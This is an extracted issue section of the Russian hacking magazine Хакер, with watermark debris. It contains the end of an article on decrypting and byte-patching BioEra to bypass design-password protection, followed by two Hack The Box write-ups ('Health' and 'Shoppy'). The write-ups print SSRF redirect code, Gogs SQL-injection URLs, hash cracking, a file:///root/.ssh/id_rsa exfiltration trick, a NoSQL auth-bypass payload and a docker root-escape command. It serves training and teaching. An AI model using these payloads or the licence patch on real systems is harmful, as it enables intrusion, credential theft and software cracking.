
 

Стек вызовов прерванно­ го­ процес­ са­

К примеру­ , код текущей исполняемой­ инструк­ ­ции (обработ­ ­чик которой при­ веден выше, на скриншоте­ jy выделен красным­ ) — 33h, это baload. Можно­ даже угадать­ имя исполняемо­ ­го метода (decode) и его класс (be.read. Cipher). Осталось­ только­ найти­ этот класс и по человечес­ ­ки декомпилиро­ ­вать.

К сожалению­ , глобаль­ ­ным поиском­ нужный­ нам класс тоже не находится­ . Похоже, мы вышли­ на ядро какого то более глубоко­ ­го уровня­ , копать который по описан­ ­ному выше методу нам уже надоело­ и неинтерес­ ­но. Поэтому­ на этот раз мы схалтурим­ — просто­ найдем­ этот класс в исходном виде в памяти про­ цесса­ по шаблону­ (скажем­ , тот же be/read/Cipher) и сдампим­ его в файл, начиная с сигнатуры­ CAFEBABE.

Стек вызовов прерванно­ го­ процес­ са­

Деком­ пилиро­ вав­ этот класс, мы получаем­ используемые­ в BioEra алгорит­ мы­ шифрования­ и дешифрования­ . Они совершенно­ примитив­ ны­ , хотя чуть слож­ нее по исполнению­ обычного­ XOR:

package be.read;

public class Cipher {

public static final int LEN = 311;

static final int BIGLEN = 79616;

protected byte[] buffer = new byte[311];

private byte[] eb = new byte[311];

static final int k1 = 19;

static final int k2 = 236;

protected void decrypt() {

int i = 311;

while (--i >= 0) {

this.eb[i] = (byte)((this.buffer[i] & 0x13) + (this.

buffer[(i + 7) % 311] & 0xEC));

}

i = 311;

while (--i >= 0) {

this.buffer[i] = (byte)(this.eb[i] - i * 13 % 17);

}

}

protected void encrypt() {

int i = 311;

while (--i >= 0) {

this.eb[i] = (byte)(this.buffer[i] + i * 13 % 17);

}

i = 311;

while (--i >= 0) {

this.buffer[i] = (byte)((this.eb[i] & 0x13) + (this.eb

[(i - 7 + 79616) % 311] & 0xEC));

}

}

}

Теперь­ , когда­ у нас есть эти алгорит­ мы­ , компилиру­ ем­ простень­ кий­ декодер и расшифро­ выва­ ем­ им файл be.cbe. В раскодиро­ ван­ ном­ виде он представ­ ­

ляет собой последова­ тель­

ность­

откомпилиро­ ван­ ных­

и обфусцирован­

ных­

клас­

сов, которые можно­ выделять и отрезать­

по сигнатурам­

CAFEBABE для деком­

пиляции. Поиск по строке­ "Protected

design" выводит нас на класс mF,

который, помимо провер­ ки­ пароля для защищенного­

дизайна­ , содержит­ мно­

жество­ других­ вкусняшек­

типа провер­ ки­ донгла­ , лицензии­ , сигнатур­

(в частнос­ ­

ти, упомяну­

тый­

выше сервисный­

режим). Но наша задача — обойти­ провер­ ку­

пароля. Искомое­

место­ легко­ находится­ в декомпилиро­ ван­ ном­

коде в методе

public static

final int a(Pi pi, uI uI2, String string) и выглядит­

так:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PF pF = new PF(m.p.J(), "Protected design");

pF.c = true;

if (nE.c()) {

System.out.println("DEV - Skipping nes des pwd dlg");

} else {

pF.b("Password");

}

if (nE.c() || pF.b && pF.q().equals(uI2.l.toString()))

// Если убрать эту проверку, то любой введенный пароль будет

приниматься как родной

{

m.p.R = false;

rA.f = true;

return 5;

}

Как видно­ из кода, по хорошему­ можно­ было бы пропат­ ­чить класс nE.c(), тог­ да окно пароля вообще­ не будет появлять­ ­ся, но нам уже все надоело­ и искать, а потом декомпилиро­ ­вать этот класс просто­ лень. Поэтому­ берем нашего любимого­ «Грязного­ Джо» (я писал о нем в статье «Грязный­ Джо. Взламыва­ ­ем Java-приложе­ ­ния с помощью dirtyJOE») и ищем последова­ ­тель­ность опкодов­ , соответс­ ­тву­ющих выражению­ nE.c() внутри­ условия­ if (...). Выглядит­

это вот так.

Стек вызовов прерванно­ го­ процес­ са­

Чтобы­ условный переход всегда­ отрабаты­ вал­ , выделенную­ красным­ пос­ ледователь­ ность­ нужно­ заменить true (04). В итоге­ нам надо в расшифро­ ­ ванном­ файле­ be.cbe найти­ последова­ тель­ ность­ байтов­ B8 01 B7 9A 00 1D, первые­ три из которых исправить­ на 00 00 04, а потом зашифровать­ файл обратно. Проделы­ ваем­ это и убеждаем­ ся­ , что теперь защищенные­ дизайны­ открывают­ ся­ при вводе­ любого пароля безо всякого­ сервисно­ го­ режима.

ВЫВОДЫ

Возможно­ , читатель упрекнет меня в том, что мы потратили­ столько­ времени­ и сил впустую­ . Ведь, судя по последним­ новостям­ на этом сайте­ , эта среда­ разработ­ ки­ не завоева­ ла­ популярности­ и, скорее­ всего­ , не успела­ распол­ зтись­

по миру. Поэтому­ вероятность­ встретить­ ся­ с созданны­ ми­ при помощи BioEra программа­ ми­ у читателя­ невысока­ . Однако­ мы препари­ рова­ ли­ этого­ мертво­ ­ рожденно­ го­ монстра­ просто­ из любви­ к экзотике­ и в ознакоми­ тель­ ных­ целях — для приобре­ тения­ опыта­ реверса­ нестандар­ тных­ Java-приложе­ ний­ .

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ЭКСПЛУАТИРУЕМ SSRF ОТ ПЕРВОНАЧАЛЬНОГО ДОСТУПА

ДО ЗАХВАТА ХОСТА

В этом райтапе­ я покажу, как искать и экс­ плуати­ ­ровать уязвимость­ SSRF. В допол­ нение к ней мы заюзаем SQL-инъекцию­

в GoGits, а затем дополним­ нашу атаку­ манипуляци­ ­ей содержимым­ базы данных­ сервиса­ . Это позволит­ нам получить кри­ тически­ важные­ данные­ и контроль­ над машиной.

RalfHacker hackerralf8@gmail.com

Наша­ цель — трениро­ воч­ ный­ стенд Health с площад­ ки­ Hack The Box. Слож­ ность задачи оценена­ ее авторами­ как средняя­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.176 health.htb

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ сканиро­ ­ вание, на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ име­ ющихся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Скрипт нашел два открытых­ порта­ : 22 — служба­ OpenSSH 7.6p1 и 80 — веб сервер­ Apache 2.4.29. Сразу­ идем на веб сервер­ .

Главная­ страница­ сайта­ http://health.htb

ТОЧКА ВХОДА

Давай­ заполним­ необходимые­ поля и отправим­ данные­ . В полях URL можно­ указать­ адрес своего­ веб сервера­ . Предваритель­ ­но запустим­ его:

python3 -m http.server 8080

Форма­ отправки­ данных­

Логи­ веб сервера­

В логах веб сервера­ видим два запроса­ . Первый­ — это GET-запрос­ на указан­ ­

ный Monitored URL, а второй­ — POST-запрос­ на Payload URL. Так как http. server не показывает­ нам полные­ данные­ , нужно­ написать свою реализацию­ . Давай напишем программу­ , которая будет выводить HTTP-заголовки­ , а в слу­ чае с POST-запросом­ — еще и переданные­ данные­ .

from http.server import BaseHTTPRequestHandler, HTTPServer

import logging

class Serv(BaseHTTPRequestHandler):

def do_GET(self):

print("GET " + str(self.path))

print(str(self.headers))

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length)

print("POST " + str(self.path))

print(str(self.headers))

print(post_data.decode('utf-8'))

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

def log_message(self, format, *args):

return

logging.basicConfig(level=logging.INFO)

httpd = HTTPServer(('', 8080), Serv)

httpd.serve_forever()

httpd.server_close()

Запус­ каем­ и делаем­ повторный­ запрос­ .

Резуль­ тат­ работы сервера­

Видим­ , что в данных­ POST-запроса­ передается­ информация­ об указан­ ных­ URL, а также­ пометка­ down. Давай попробу­ ем­ дать какой нибудь ответ на GETзапрос­ . Для этого­ изменим­ метод do_GET:

class Serv(BaseHTTPRequestHandler):

def do_GET(self):

print("GET " + str(self.path))

print(str(self.headers))

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

self.wfile.write("<test>RALF_SERVER<test>".encode('utf-8'))

Логи­ веб сервера­

И теперь видим, что в данных­ POST-запроса­ нам передают­ наш же ответ на GET-запрос­ . Значит­ , нужно­ проверить­ , нет ли здесь возможнос­ ти­ для экс­ плуата­ ции­ SSRF — то есть возможнос­ ти­ подделки­ запросов­ .

ТОЧКА ОПОРЫ

SSRF

Первым­ делом я попробовал­ добрать­ ­ся до файла­ /etc/passwd, для чего ука­ зал в качестве­ URL file:///etc/passwd/id_rsa, но получил следующее­ пре­ дупрежде­ ­ние.

Предуп­ режде­ ние­ при запросе­ файла­

Запросить­ данные­ с адреса­ 127.0.0.1 тоже не вышло­ , но я вспомнил­ старый­ трюк с редиректом­ . Так как проводит­ ­ся фильтра­ ­ция именно­ введен­ ­ных в поле URL данных­ , мы можем обратить­ ­ся к 127.0.0.1 в обход этого­ поля. Для этого­ нам нужно­ отправить­ чекер на свою страницу­ , которая перешлет­ клиента­

на 127.0.0.1. Изменим­ метод do_GET для выполнения­ редиректа­ .

def do_GET(self):

self.send_response(301)

self.send_header('Location', 'http://127.0.0.1/')

self.end_headers()

Повторя­ ем­ атаку­ и получаем­ уже знакомую­ страницу­ самого же сервера­ , что подтвержда­ ет­ наличие уязвимос­ ти­ SSRF.

Эксфиль­ тра­ ция­ данных­

Для поиска­ портов­ , которые могут быть открыты­ для подклю­ чения­ с локального­ хоста­ , можно­ восполь­ зовать­ ся­ SYN-сканиро­ вани­ ем­ .

sudo nmap -p- -sS --min-rate=1500 health.htb

Резуль­ тат­ сканиро­ вания­ портов­

Находим­ порт 3000, который как раз фильтру­ ется­ . Попробу­ ем­ вытянуть дан­ ные с него. Указыва­ ем­ другой­ URL в обработ­ чике­ GET:

self.send_header('Location', 'http://127.0.0.1:3000/')

Для удобства­ я немного­ изменил­ обработ­ чик­ POST, чтобы­ из ответа­ сервера­ автомати­ чес­ ки­ извлекал­ ся­ код HTML, сохранял­ ся­ в файл и открывал­ ся­ в бра­ узере­ .

def do_POST(self):

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length)

print(post_data.decode('utf-8'))

f = open('page.html', 'wt')

f.write(json.loads(post_data.decode('utf-8'))['body'])

f.close()

subprocess.run(["firefox", "page.html"])

self.send_response(200)

self.send_header('Content-type', 'text/html')

self.end_headers()

Делаем­ новый запрос­ и в открывшемся­ браузе­ ­ре видим страницу­ авториза­ ­ции

Gogs.

Получен­ ные­ данные­

Эта страница­ раскры­ вает­ нам версию­ платформы­ , что поможет при поиске­ известных­ уязвимос­ тей­ . Один запрос­ к Google, и первая­ же ссылка­ дает нам описание­ готового­ экспло­ ита­ .

Резуль­ тат­ поиска­ в Google

Таким­ образом­ мы узнаем­ , что в этой версии­ Gogs есть возможность­ провес­ ти­ SQL-инъекцию­ на странице­ search через параметр q.

Описание­ способа­ эксплу­ ата­ ции­

Для эксплу­ ата­ ции­ нам нужно­ только­ менять URL в коде нашего обработ­ чика­ GET-запросов­ . Приведен­ ный­ в PoC пример­ у меня не сработал­ , поэтому­ пришлось­ немного­ переработать­ запрос­ . Вытянуть версию­ не получилось­ , но зато добиваемся­ выполнения­ вложен­ ного­ SQL-запроса­ select '123'.

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/

**/select/**/null,null,(select/**/'123'),null,null,null,null,null,

null,null,null,null,null,null,null,null,null,null,null,null,null,

null,null,null,null,null,null/**/--/**/

Получен­ ные­ данные­

ПРОДВИЖЕНИЕ

Gogs SQL Injection

Итак, мы можем выполнять­ запросы­ , но получить информацию­ о структуре­ таб­ лицы у меня не вышло­ . Поэтому­ я скачал­ исходни­ ­ки Gogs и порылся­ в них. Там находим структуру­ User.

Структура­ User

Нас здесь интересу­ ют­ поля name, passwd и salt.

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/

**/select/**/null,null,(select/**/name/**/from/**/user),null,null,

null,null,null,null,null,null,null,null,null,null,null,null,null,

null,null,null,null,null,null,null,null,null/**/--/**/

Получе­ ­ние имени­ пользовате­ ­ля

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/

**/select/**/null,null,(select/**/passwd/**/from/**/user),null,

null,null,null,null,null,null,null,null,null,null,null,null,null,

null,null,null,null,null,null,null,null,null,null/**/--/**/

Получе­ ние­ хеша пароля пользовате­ ля­

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/

**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,

null,null,null,null,null,null,null,null,null,null,null,null,null,

null,null,null,null,null,null,null,null,null/**/--/**/

Получе­ ние­ соли для хеширования­

Теперь­ нужно­ разобрать­ ся­ с алгорит­ мом­ хеширования­ . Так, в issue на GitHub находим упомина­ ние­ самого алгорит­ ма­ .

Информа­ ция­ об алгорит­ ме­ хеширования­

И уже по ключево­ му­ слову­ находим сам код в исходниках­ .

Исходный­ код функции­ EncodePassword

У нас есть все параметры­ для перебора­ хеша. Приводим­ его к формату­ hashcat:

echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d 6c032f0fd4ef83f48d74349ec196f4efe37'

| xxd -r -ps | base64

echo 'sO3XIbeW14' | base64

Преобра­ зова­ ние­ к формату­ hashcat

А теперь брутим­ хеш, для чего указыва­ ем­ режим 10900:

hashcat -m 10900 sha.hash rockyou.txt

Резуль­ тат­ перебора­

С полученным­ паролем подклю­ чаем­ ся­ по SSH и забираем­ первый­ флаг.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ , когда­ мы получили­ доступ­ к хосту­ , нам нужно­ собрать­ информацию­ , которая поможет в повышении­ привиле­ ­гий. Источников­ очень много­ , и для автомати­ ­зации поисков­ я обычно­ использую­ скрипты­ PEASS. С их помощью обнаружи­ ­ваем учетные­ данные­ для подклю­ ­чения к базе данных­ .

Перемен­ ные­ окружения­

Больше­ ничего найти­ не удалось­ , да и сама база ничего нам не дала. Тогда­ отследим­ запускаемые­ на хосте­ процес­ сы­ с помощью pspy64. Простое­ ожи­ дание ничего не дало — все спокой­ но­ . Тогда­ попробу­ ем­ пройти­ по всем фун­ кциям­ сайта­ и посмотреть­ , приведет­ ли это к выполнению­ каких либо прог­ рамм в системе­ . После­ создания­ веб хука в консоли­ посыпались­ логи.

Создание­ веб хука

Логи­ pspy

Подклю­ чим­ ся­ к базе данных­ и посмотрим­ содержимое­ таблицы­ tasks.

mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+

select * from tasks;

Содер­ жимое­ таблицы­ tasks

И получаем­ указан­ ­ный нами URL, данные­ по которому­ будут отправлены­ на наш сервер­ ! В самом начале прохож­ ­дения я пытался­ получить содержимое­

файла­ , но помешал фильтр­ . Теперь же мы можем, минуя фильтры­ , просто­ под­ менить запись в базе данных­ . Эксфильтро­ ­вать попробу­ ­ем приват­ ­ный SSHключ рута.

update tasks set monitoredUrl='file:///root/.ssh/id_rsa';

Изменение­ данных­ в таблице­ tasks

Логи­ листенера­

И на открытый­ листенер­ прилета­ ет­ запрос­ , где мы можем найти­ SSH-ключ пользовате­ ля­ root. С этим ключом­ подклю­ чаем­ ся­ к системе­ и забираем­ второй­ флаг.

Флаг рута

Машина­ захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ ГРУППУ DOCKER

В этом райтапе­ я покажу разные­ техники­ сканиро­ вания­ веб сайта­ , затем проэкс­ ­ плуати­ руем­ инъекцию­ NoSQL, чтобы­ обой­ ти авториза­ цию­ . Под конец прохож­ дения­ разберем­ ся­ с пользователь­ ским­ менед­ жером паролей и повысим привиле­ гии­ через группу­ Docker.

RalfHacker hackerralf8@gmail.com

Нашей­ целью будет захват­ трениро­ воч­ ной­ машины Shoppy с площад­ ки­ Hack The Box.

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.180 shoppy.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз­ воляет­ атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f

1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ ет­ в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ сканиро­ ­ вание, на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ име­ ющихся­ скриптов­ (опция -A).

Резуль­ тат­ работы скрипта­

Скрипт нашел нам два открытых­ порта­ : 22 — служба­ OpenSSH 8.4p1 и 80 — веб сервер­ Nginx 1.23.1. Естествен­ но­ , начинаем­ с веб сервера­ .

Главная­ страница­ сайта­ http://shoppy/

На самом сайте­ ничего интерес­ ного­ найти­ не удалось­ , поэтому­ приступа­ ем­ к сканиро­ ванию­ на предмет­ скрытых­ каталогов­ и файлов­ .

Одно­ из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ния­ — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информацию­ и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch и DIRB.

Я предпочитаю­ легкий­ и очень быстрый­ fuf. При запуске­ указыва­ ем­ сле­ дующие параметры­ :

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количество­ потоков;

-u — URL.

ffuf -u 'http://shoppy.htb/FUZZ' -w directory_2.3_medium_

lowercase.txt -t 256

Резуль­ тат­ сканиро­ вания­ каталогов­ с помощью fuf

Так получаем­ страницу­ авториза­ ции­ , с которой мы, скорее­ всего­ , и начнем­ наше тестирова­ ние­ сайта­ .

Страница­ авториза­ ции­ http://shoppy/login

Не забываем­ просканиро­ вать­ и поддомены­ , использовать­ можно­ все тот же fuf. В этот раз будем перебирать­ заголовок­ Host (параметр -H). Но в ответ попадут абсолют­ но­ все варианты­ , поэтому­ отфильтру­ ем­ варианты­ по размеру­ .

ffuf -u 'http://shoppy.htb/' -H 'Host: FUZZ.shoppy.htb' -w

bitquark-subdomains-top100000.txt -t 256 -f

s 169

Резуль­ тат­ сканиро­ вания­ поддоменов­ с помощью fuf

Находим­ еще один сайт и добавляем­ его в /etc/hosts:

10.10.11.180 shoppy.htb mattermost.shoppy.htb

Страница­ авториза­ ции­ http://mattermost.shoppy/

ТОЧКА ВХОДА

Так как по адресу­ mattermost.shoppy.htb расположен­ готовый продукт­ , а на shoppy.htb — самописный­ сервис­ , начнем­ со второго­ . Первым­ делом я решил перебрать­ по словарю­ разные­ нагрузки­ для обхода­ авториза­ ­ции — от учетных­ данных­ admin:admin до инъекций­ SQL и LDAP. Делать такие переборы­ удобнее­ всего­ с помощью Burp Intruder.

Burp Intruder — вкладка­ Positions

В результатах­ перебора­ видим много­ ответов­ , размер­ которых равен 318 бай­ там, но есть и выбивающиеся­ из общего­ списка­ . При этом в самом ответе­ нам выдают­ cookie и отправляют­ на страницу­ /admin.

Burp Intruder — результат­ перебора­

Обнаружи­ ­ваем, что нагрузка­ '||2||' в поле логина эксплу­ ­ати­рует NoSQLинъекцию­ , что помогает­ обойти­ авториза­ ­цию.

Админис­ тра­ тив­ ная­ панель сайта­

В верхнем­ углу видим кнопку­ поиска­ . Скорее­ всего­ , это и даст нам даль­ нейший вектор­ атаки­ . Переходим­ к поиску­ и вводим­ любую комбинацию­ .

Форма­ поиска­ пользовате­ лей­

Тут больше­ всего­ привлека­ ет­ внимание­ URL:

http://shoppy.htb/admin/search-users?username=qwe

Попыт­ ки­ «протыкать­ кавычки­ и скобки­ » ни к чему не привели­ . Но так как это функция­ , работающая­ с именами­ пользовате­ лей­ , давай переберем­ возможные­ имена­ .

ТОЧКА ОПОРЫ

Для перебора­ снова­ используем­ Burp Intruder. А словарь­ для перебора­ имен берем из знамени­ ­того набора словарей­ SecLists.

Burp Intruder — вкладка­ Positions

Резуль­ тат­ перебора­

В итоге­ получаем­ два доступных­ логина: admin и josh. Первый­ мы уже знали­ и до этого­ , но он нам ничего не дал, поэтому­ в браузе­ ре­ вбиваем­ второго­ пользовате­ ля­ и получаем­ ссылку­ на экспорт каких то данных­ :

http://shoppy.htb/exports/export-search.json

Данные­ пользовате­ ­ля josh

Пароль­ похож на хеш MD5, поэтому­ восполь­ ­зуем­ся сайтом­ CrackStation для поиска­ прообра­ ­за.

Резуль­ тат­ взлома­ хеша

На SSH залогинить­ ся­ не вышло­ , но зато получаем­ доступ­ к Mattermost, а так как это корпоратив­ ный­ чат, то не исключена­ возможность­ найти­ что то инте­ ресное­ .

Главная­ панель Mattermost

В итоге­ в одном из чатов нам удалось­ найти­ учетные­ данные­ для подклю­ чения­ к какой то машине.

Чат Deploy Machine

С найден­ ными­ учетными­ данными­ подклю­ чаем­ ся­ к хосту­ и забираем­ первый­ флаг.

Флаг пользовате­ ля­

ПРОДВИЖЕНИЕ

Скрипт PEASS для Linux ничего не показал, кроме­ того, что для провер­ ­ки sudoers нужно­ ввести­ пароль пользовате­ ­ля. Поэтому­ проверя­ ем­ в ручном­ режиме.

sudo -l

Настрой­ ки­ sudoers

Таким­ образом­ , мы можем выполнить­ приложе­ ние­ /home/deploy/passwordmanager от имени­ пользовате­ ля­ deploy без ввода­ пароля. Это исполняемый­

ELF-файл.

Вывод­ утилиты­ fle

Посколь­ ку­ перед нами менеджер­ паролей, попробу­ ем­ его проана­ лизи­ ровать­ . Скачива­ ем­ файл с удален­ ного­ хоста­ на локальный­ и закидываем­ в любой удоб­ ный декомпилятор­ .

scp jaeger@10.10.11.180:/home/deploy/password-manager ./

Я, как всегда­ , использую­ IDA Pro с Hex-Rays. Программа­ , по всей видимости­ , написана­ на C++. Сразу­ в главной­ функции­ находим пароль от программы­ — Sample. Вот такой плохой­ менеджер­ паролей (ну и машина легкая­ , для нович­ ков).

Псевдокод­ функции­ main

Вводим­ найден­ ный­ пароль в менеджер­ и получаем­ учетные­ данные­ другого­ пользовате­ ля­ .

sudo -u deploy /home/deploy/password-manager

Получе­ ­ние новых учетных­ данных­ Локаль­ ­но меняем­ пользовате­ ­ля с помощью su.

Сессия­ пользовате­ ля­ deploy

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Снова­ проводить­ разведку­ нет смысла­ , так как всю информацию­ мы уже соб­ рали. Но после­ выполнения­ команды­ id обратим­ внимание­ , что мы состоим­

в группе­ docker, а это дает нам право­ его запускать­ . В случаях­ , когда­ нам раз­ решено запускать­ файлы­ , для запуска­ которых в обычной­ среде­ нужны­ при­ вилегии­ , я обращаюсь­ к базе GTFOBins.

GTFOBins — это список­ исполняемых­ файлов­ Unix, которые можно­ исполь­ зовать для обхода­ локальных­ ограниче­ ­ний безопасности­ в неправиль­ ­но нас­ троенных­ системах­ . Проект­ собирает­ законные­ функции­ двоичных­ файлов­ Unix, которыми­ можно­ злоупот­ ­реблять, чтобы­ получить доступ­ к командным­ оболоч­ ­ кам, повысить привиле­ ­гии или передать файлы­ .

Находим­ готовый рецепт для Docker и используем­ его.

Инструк­ ция­ получения­ управления­ с помощью файла­ Docker

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Флаг рута

Машина­ захвачена­ !

Соседние файлы в папке журнал хакер